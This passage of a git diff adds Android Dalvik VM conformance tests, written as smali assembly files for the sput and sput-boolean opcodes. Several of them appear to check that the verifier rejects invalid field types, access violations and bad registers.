+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1000000
+       sput v1, Ldot/junit/opcodes/sput/d/T_sput_1;->st_p1:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_15.smali
new file mode 100644
index 0000000..0a03f38
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_15.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_15.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_15;
+.super  Ldot/junit/opcodes/sput/d/T_sput_1;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sput/d/T_sput_1;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const/16 v1, 12321
+       sput v1, Ldot/junit/opcodes/sput/d/T_sput_1;->st_pvt1:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_17.smali
new file mode 100644
index 0000000..ad4f73d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_17.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_17.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_17;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1000000
+       sput v1, Ldot/junit/opcodes/sput/d/T_sput_17;->st_i1:I
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_18.smali
new file mode 100644
index 0000000..916fb04
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_18.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_18.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_18;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1000000
+       sput v1, Ldot/junit/opcodes/sput/d/T_sput_18;->st_i1:D
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_2.smali
new file mode 100644
index 0000000..4b0ea6e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_2.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_2.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_2;
+.super  Ljava/lang/Object;
+
+.field public static st_d1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       const-wide v1, 1000000.000000
+       sput v1, Ldot/junit/opcodes/sput/d/T_sput_2;->st_d1:D
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_21.smali
new file mode 100644
index 0000000..2470ab4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_21.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_21.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_21;
+.super  Ljava/lang/Object;
+
+.field public static st_s:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1234    
+       sput v0, Ldot/junit/opcodes/sput/d/T_sput_21;->st_s:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_22.smali
new file mode 100644
index 0000000..3c73c0d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_22.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_22.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_22;
+.super  Ljava/lang/Object;
+
+.field public static st_z:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput v0, Ldot/junit/opcodes/sput/d/T_sput_22;->st_z:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_23.smali
new file mode 100644
index 0000000..600cfaa
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_23.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_23.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_23;
+.super  Ljava/lang/Object;
+
+.field public static st_c:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput v0, Ldot/junit/opcodes/sput/d/T_sput_23;->st_c:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_24.smali
new file mode 100644
index 0000000..dbad029
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_24.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_24.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_24;
+.super  Ljava/lang/Object;
+
+.field public static st_b:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput v0, Ldot/junit/opcodes/sput/d/T_sput_24;->st_b:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_3.smali
new file mode 100644
index 0000000..0990dfb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_3.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_3.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_3;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 1234
+       sput v0, Ldot/junit/opcodes/sput/d/T_sput_3;->st_i1:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_4.smali
new file mode 100644
index 0000000..e28d0b9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_4.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_4.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_4;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sput v3, Ldot/junit/opcodes/sput/d/T_sput_4;->st_i1:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_5.smali
new file mode 100644
index 0000000..04264e7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_5.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_5.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_5;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)V
+.registers 3
+
+       sput v2, Ldot/junit/opcodes/sput/d/T_sput_5;->st_i1:I
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_7.smali
new file mode 100644
index 0000000..bc3e940
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_7.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_7.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_7;
+.super  Ljava/lang/Object;
+
+.field public st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput v1, Ldot/junit/opcodes/sput/d/T_sput_7;->st_i1:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_8.smali
new file mode 100644
index 0000000..6aa2dbd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_8.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_8.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput v1, Ldot/junit/opcodes/sput/TestStubs;->TestStubField:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_9.smali
new file mode 100644
index 0000000..bff85cc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_9.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_9.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_9;
+.super  Ljava/lang/Object;
+
+.field public st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput v1, Ldot/junit/opcodes/sput/d/T_sput_9noclass;->st_i1:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_1.smali
new file mode 100644
index 0000000..232ec01
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_1.smali

@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_1.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_1;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:Z
+.field protected static st_p1:Z
+.field private static st_pvt1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static getPvtField()Z
+.registers 2
+
+       sget-boolean v0, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_1;->st_pvt1:Z
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-boolean v1, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_1;->st_i1:Z
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_10.smali
new file mode 100644
index 0000000..6e45923
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_10.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_10.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_10;
+.super  Ljava/lang/Object;
+
+.field public st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-boolean v1, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_10;->st_i1N:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_11.smali
new file mode 100644
index 0000000..3ce40b6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_11.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_11.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-boolean v1, Ldot/junit/opcodes/sput_boolean/TestStubs;->TestStubFieldFinal:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_12.smali
new file mode 100644
index 0000000..41aaa93
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_12.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_12.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_12;
+.super  Ljava/lang/Object;
+
+.field public static final st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-boolean v1, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_12;->st_i1:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_14.smali
new file mode 100644
index 0000000..c4c162f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_14.smali

@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_14.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_14;
+.super  Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_1;-><init>()V
+       return-void
+.end method
+
+.method public static getProtectedField()Z
+.registers 2
+
+       sget-boolean v0, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_1;->st_p1:Z
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-boolean v1, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_1;->st_p1:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_15.smali
new file mode 100644
index 0000000..76d73e7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_15.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_15.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_15;
+.super  Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_1;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_1;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const/16 v1, 1
+       sput-boolean v1, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_1;->st_pvt1:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_17.smali
new file mode 100644
index 0000000..7ac6c54
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_17.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_17.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_17;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-boolean v1, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_17;->st_i1:Z
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_18.smali
new file mode 100644
index 0000000..3eb4fa4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_18.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_18.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_18;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-boolean v1, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_18;->st_i1:D
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_2.smali
new file mode 100644
index 0000000..5f63960
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_2.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
